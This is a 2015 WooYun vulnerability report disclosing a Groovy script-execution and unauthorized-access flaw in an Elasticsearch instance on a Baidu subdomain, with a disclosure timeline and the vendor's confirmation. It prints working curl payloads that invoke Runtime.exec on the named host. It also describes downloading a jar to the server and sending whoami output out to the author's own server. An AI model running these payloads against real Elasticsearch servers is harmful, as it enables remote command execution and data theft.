当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099419

漏洞标题:百度某站Elasticsearch Groovy 脚本动态执行漏洞(包括部分数据未授权访问)

相关厂商:百度

漏洞作者: 园长

提交时间:2015-03-04 12:44

修复时间:2015-04-18 12:46

公开时间:2015-04-18 12:46

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-04: 细节已通知厂商并且等待厂商处理中
2015-03-05: 厂商已经确认,细节仅向厂商公开
2015-03-15: 细节向核心白帽子及相关领域专家公开
2015-03-25: 细节向普通白帽子公开
2015-04-04: 细节向实习白帽子公开
2015-04-18: 细节向公众公开

简要描述:

Elasticsearch 未授权导致数据泄漏和脚本执行漏洞

详细说明:

一开始用XX搜索到了百度的一个使用了es的站

1.png


数据泄漏,主要是百度贴吧和微博的数据,包含用户名ip什么的:
http://eas.baidu.com/_cat/indices
检测是否存在漏洞,执行:

curl -XPOST "http://localhost:9200/_search" -d'
{
"size": 1,
"script_fields": {
"my_field": {
"script": "p=Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null,null).exec(\"xxx\").getInputStream()"
}
}
}'


好像不行,继续执行验证脚本:

curl -XPOST "http://eas.baidu.com/_search" -d'
{
"size": 1,
"query": {
"function_score": {
"script_score": {
"script": "Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").toString()",
"lang": "groovy"
}
}
}
}'


这次成功了。再创建个文件试试:

curl -XPOST "http://eas.baidu.com/_search" -d'
{
"size": 1,
"query": {
"function_score": {
"script_score": {
"script": "p=Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null,null).exec(\"touch /tmp/yz.test").getInputStream()",
"lang": "groovy"
}
}
}
}'


因为执行后回显不大方便,所以get了个py脚本到/tmp/发现反弹不回来shell 但是 wget 和curl都是可以的。

2.jpg


写了个jar用来对外发HTTP请求,监控我博客的nginx日志查看回显验证下,wget qq.jar 到/tmp/:

3.jpg


查看服务器结果,URL参数是执行whoami的结果 当前权限是work:

4.png


uname -a:

5.png


ok,差不多了。

漏洞证明:

uname -a:

5.png

修复方案:

升级,加访问权限

版权声明:转载请注明来源 园长@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-05 11:45

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无